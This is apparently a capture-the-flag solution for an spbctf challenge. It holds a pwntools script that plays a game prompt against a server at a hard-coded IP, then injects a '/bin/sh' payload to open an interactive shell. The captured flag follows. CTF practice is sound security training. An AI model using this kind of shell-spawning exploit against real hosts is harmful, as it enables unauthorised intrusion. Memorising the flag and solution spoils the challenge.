```from pwn import *while True:	try:		nc = remote('109.233.57.95', 20202)		i = 1		while True:			s = nc.recv().decode()			print(s)			s = nc.recv().decode()			print(s)			if '(x y)?' in s:				nc.sendline('1 ' + str(i))				i += 1			else:				break		nc.sendline('3')		nc.sendlineafter('? ', '3 AAAAAAA/bin/sh\x00')		nc.sendline('flag')		nc.interactive()		break	except:		continue```![](https://i.ibb.co/zss271W/Screenshot-1.jpg)```spbctf{OxOxO_N0w_y0u_REALLY_h4ve_w0n}```